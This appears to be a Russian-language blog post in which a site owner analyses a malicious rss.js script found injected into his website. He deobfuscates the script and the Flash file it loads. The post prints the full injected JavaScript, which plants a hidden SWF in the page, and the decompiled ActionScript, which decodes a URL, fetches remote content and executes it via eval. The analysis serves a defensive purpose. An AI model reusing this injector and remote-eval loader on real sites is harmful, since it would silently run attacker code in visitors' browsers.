Все началось с того, что на моем рабочем ноутбуке (Win XP) админ установил новый антивирус. В один прекрасный день, когда я зашел на один из своих сайтов, я обнаружил вот такую неприятную картину:
Конечно же первое что я захотел сделать это удалить его, для этого нужно было просто зайти по FTP и прибить rss.js файл. Но тут вдруг оказалось что я не могу зайти на сайт по FTP, так как
Итак, делать это на рабочем ноуте я не рискнул, решил заняться этим дома, так как на домашнем компе стоит макось бояться было нечего никакой антивирус не орал и не мешал работать. Первым делом я посмотрел что делает rss.js
function addNewObject () {
try {
var ua = navigator.userAgent.toLowerCase();
if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
var jtFRvRDNg=["subsx74x72","Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61","x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp","x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
var div = document.createElement('div');
div.innerHTML = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">';
div.innerHTML += '<param name="allowScriptAccess" value="always" />';
div.innerHTML += '<param name="movie" value="'+ counter +'" />';
div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application/x-shockwave-flash" />';
div.innerHTML += '</object>';
div.style.position = 'absolute';
div.style.left = '-100px';
div.style.top = '-100px';
document.body.insertBefore(div, document.body.children[0]);
}
} catch (e) {
if (document.body == undefined || document.body.children[0] == undefined) {
setTimeout('addNewObject()', 50);
}
}
}
addNewObject();
Из кода очевидно что скрипт создает swf и внедряет его в код страницы, чтобы понять откуда он берет swf делаем деобфускацию вот этого странного куска кода:
var jtFRvRDNg=["subsx74x72","Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61","x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp","x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
Для этого создаем и запускаем вот такой простой файл
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var jtFRvRDNg = ["subsx74x72", "Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61", "x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp", "x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];
var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44);
alert(counter);
</script>
</body>
</html>
И сразу видим откуда подгружается вредоносный swf
Теперь осталось самое легкое, узнать что делает этот flash ролик, немного погуглив нашел несколько декомпиляторов swf, но оказалось что файл защищен от декомпиляции
И понять что делает вредоносный ActionScript невооруженным глазом нельзя:
//Кадр 0
// Action tag #0
for (;;)
{
if (1847114876 == 1847115088)
{
false;
1238734783 & -1238734784;
function decrypt(hex)
{
var __reg5;
var __local0;
if (205673138 ^ 205673138)
{
__local0 = __reg5 = "A";
}
else
{
__reg5 = "A";
var __reg1;
__local0 = __reg1 = 0;
}
__local0;
for (;;)
{
408838581 ^ 408838581;
2136550932 & -2136550933;
if (__reg1 >= hex.B)
{
break;
}
if (1890669217 ^ 1890669217)
{
"C";
}
else
{
var __reg3;
if (!(1502222836 ^ 1502222836))
{
__reg3 = hex.C(__reg1, 2);
}
}
1234629013 ^ 1234629013;
127070979 & -127070980;
var __reg2 = int("D" + __reg3);
1130412752 ^ 1130412752;
__reg2 = __reg2 ^ 5;
1618839222 & -1618839223;
if (!(1876906722 ^ 1876906722))
{
__reg5 = __reg5 + chr(__reg2);
}
var __local1;
var __local2;
if (1459356484 ^ 1459356484)
{
__local1 = __reg1;
__local2 = 2;
}
else
{
__reg1 = __reg1 + 2;
__local1 = 1035411512;
__local2 = -1035411513;
}
__local1 & __local2;
}
return __reg5;
}
function checkFileLoaded()
{
};
1791047020 & -1791047021;
var = "";
1234090841 ^ 1234090841;
353477196 ^ 353477196;
if (!(1023518590 ^ 1023518590))
{
("E", ());
}
1053853491 & -1053853492;
657257249 & -657257250;
var = (, 200);
503511606 ^ 503511606;
694364267 ^ 694364267;
2090915988 & -2090915989;
loadVariables(G(), E);
if (736039747 != 736040114)
{
continue;
}
}
}
Еще немного погуглив нашел декомпилятор swf со встроенной функцией деобфускации, и вот такой код уже намного понятнее читать:
function decrypt(hex)
{
var _loc5_ = "";
var _loc1_ = 0;
while(_loc1_ < hex.length)
{
var _loc3_ = hex.substr(_loc1_,2);
var _loc2_ = int("0x" + _loc3_);
_loc2_ = _loc2_ ^ 5;
_loc5_ = _loc5_ + chr(_loc2_);
_loc1_ = _loc1_ + 2;
}
return _loc5_;
}
function checkFileLoaded()
{
if(container.data != undefined)
{
var _loc1_ = container.data;
_loc1_ = decrypt(_loc1_);
flash.external.ExternalInterface.call("eval",_loc1_);
clearInterval(loadingInterval);
}
}
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
this.createEmptyMovieClip("container",this.getNextHighestDepth());
var loadingInterval = setInterval(checkFileLoaded,200);
loadVariables(decrypt(url),container);
Вот это уже интереснее, видим что тут есть url на который идет пинг, но даже в «защищенном» swf url закодирован, хорошо постарались ребята. У меня под рукой не оказалось флеш-редактора, нашел онлайн компилятор action script, скопировал кусок кода который декодирует зветный url и выводим:
class Test {
function decrypt(hex)
{
var _loc5_ = "";
var _loc1_ = 0;
while(_loc1_ < hex.length)
{
var _loc3_ = hex.substr(_loc1_,2);
var _loc2_ = int("0x" + _loc3_);
_loc2_ = _loc2_ ^ 5;
_loc5_ = _loc5_ + chr(_loc2_);
_loc1_ = _loc1_ + 2;
}
return _loc5_;
}
public function Test(mc) {
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
trace(decrypt(url));
}
public static function main(mc:MovieClip) {
var test = new Test(mc);
}
}
В результате получаем url: ---------/counter/hit/client_de5df061c99066d82cfc437f2b099455
Смысл этого эксплоита для меня так и остался загадкой, кто-то просто собирает статистику посещения сайта? А что думает хабр, жду комментарии, может кто-то сталкивался с подобным?
P.S. Умышленно не приводил ссылки на антивирус, декомпиляторы, онлайн сервисы и прочие ссылки
Автор: monoteos